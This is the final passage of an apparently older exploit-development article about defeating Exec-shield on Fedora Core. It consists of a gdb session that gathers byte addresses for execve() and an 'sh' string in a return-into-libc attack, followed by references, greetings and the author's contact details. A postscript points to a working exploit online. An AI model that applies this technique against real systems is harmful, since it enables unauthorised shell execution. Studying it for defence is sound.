?xecl? Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x0019dbff in _exit () from /lib/libc.so.6 (gdb) print execve $1 = ( *) 0x19dbff <_exit+27> ; use execve()-1 address (gdb) x/i 0x08048298 0x8048298: jmp *0x8049570 ; __libc_start_main function's plt (gdb) 0x804829e: push $0x10 (gdb) 0x80482a3: jmp 0x8048268 (gdb) x/xw 0x8049570 ; __libc_start_main function's got 0x8049570: 0x0019dbff (gdb) 0x8049574: 0x00006873 (gdb) x/i 0x08048445 0x8048445 <_start+5>: pop %ebx ; _start() function epilog (gdb) 0x8048446 <_start+6>: pop %ebp (gdb) 0x8048447 <_start+7>: ret (gdb) x/xb 0x08048487 0x8048487 : 0xff ; 1byte that will be execve()'s address (gdb) x/xb 0x08048b68 0x8048b68: 0xdb ; 1byte that will be execve()'s address (gdb) x/xb 0x08048032 0x8048032: 0x19 ; 1byte that will be execve()'s address (gdb) x/xb 0x08048122 0x8048122: 0x73 ; 1byte of sh string (gdb) x/xb 0x0804827e 0x804827e: 0x68 ; 1byte of sh string (gdb) x/xw 0x08048008 0x8048008: 0x00000000 ; null value (gdb) -- P.S2: I am always open and grateful for advice, support and anything. You can contact me by e-mail . You can get really working exploit from refrence 7.18. If you are interested in that, please come and visit my website occasionally. Thank you. --[ 7 - Reference ----[ 7.1 - Aleph One: "Phrack 49-7 - Smashing the stack for fun and profit" ----[ 7.2 - Solar Designer: "Getting around non-executable stack (and fix)" ----[ 7.3 - Rafal Wojtczuk: "Defeating Solar Designer non-executable stack patch" ----[ 7.4 - Lamagra: "Corezine - Project OMEGA" ----[ 7.5 - klog: "Phrack 55-8 - The Frame Pointer Overwrite" ----[ 7.6 - Bulba and Kil3r, Lam3rZ: "Phrack 56-5 - Bypassing StackGuard and StackShield" ----[ 7.7 - Nergal (Rafal Wojtczuk): "Phrack 58-4 - The advanced return-into-lib(c) exploits" ----[ 7.8 - scut (team teso): "Exploiting Format String Vulnerabilities" ----[ 7.9 - Juan M. Bello Rivas: "Overwriting the .dtors section" ----[ 7.10 - vangelis: "How to Exploit Overflow Vulnerability Under Fedora Core" ----[ 7.11 - beist: "Making successful stack overflow attack on F/C 2 bypassing Exec-shield at once" ----[ 7.12 - Stack Shield: http://www.angelfire.com/sk/stackshield/ ----[ 7.13 - Solar Designer: http://www.openwall.com/linux/ ----[ 7.14 - PaX Team: http://pax.grsecurity.net/ ----[ 7.15 - RSX: http://www.starzetz.com/software/rsx/ ----[ 7.16 - kNoX: http://isec.pl/projects/knox/knox.html ----[ 7.17 - Exec-shield: http://people.redhat.com/mingo/exec-shield/ ----[ 7.18 - POC 2006 article: http://powerofcommunity.net/poc2006/ex.pdf ----[ 7.19 - my article: http://x82.inetcop.org/h0me/papers/FC_exploit/ ----[ 7.20 - ggum: "I love Hun Sa Ma" (just kidding) GREETS ****** INetCop security, aman, bb0, ggum, pr1nc3, m4z3, nova, freebear, 1su, 1ndr4, k3rn3l, fri, cloud, powerqgold, Hust3r members, s3ung, CN security family, edward, purewell, morris.jang, sangsang, colap & jyul, shutup fucking Sk1dr0w, lucid7, pr0sp3r, uptx, V4mp1r3, Wowhacker, secret, l1nefeed, ZIZI, wooyaggo, boannews mr.gil, popeye, chaos, barami, opt, piranha, seyool, #whitehat@hanirc friends, x9, x90c, r4d14n7, randomkid, SecurityProof, thomas lim, gohsuke Takama, Andrew cushman, Lukas grunwald, grugq, delivery mr.yang, press mindb, bkbll, Doctornuke (email@hax0r), Stuart Moore, GOBBLES mind, me0w linuxer, euna, nawhni7, hyunwoong, ENI, Alex Hernandez, Damian Myerscough, Brain Storm, Electronic Souls, old Snosoft, and KF, korean hackers, clover band, my friends and family. INetCop Security http://www.inetcop.org/ http://x82.inetcop.org/ -- By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.org My World: http://x82.inetcop.org GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y --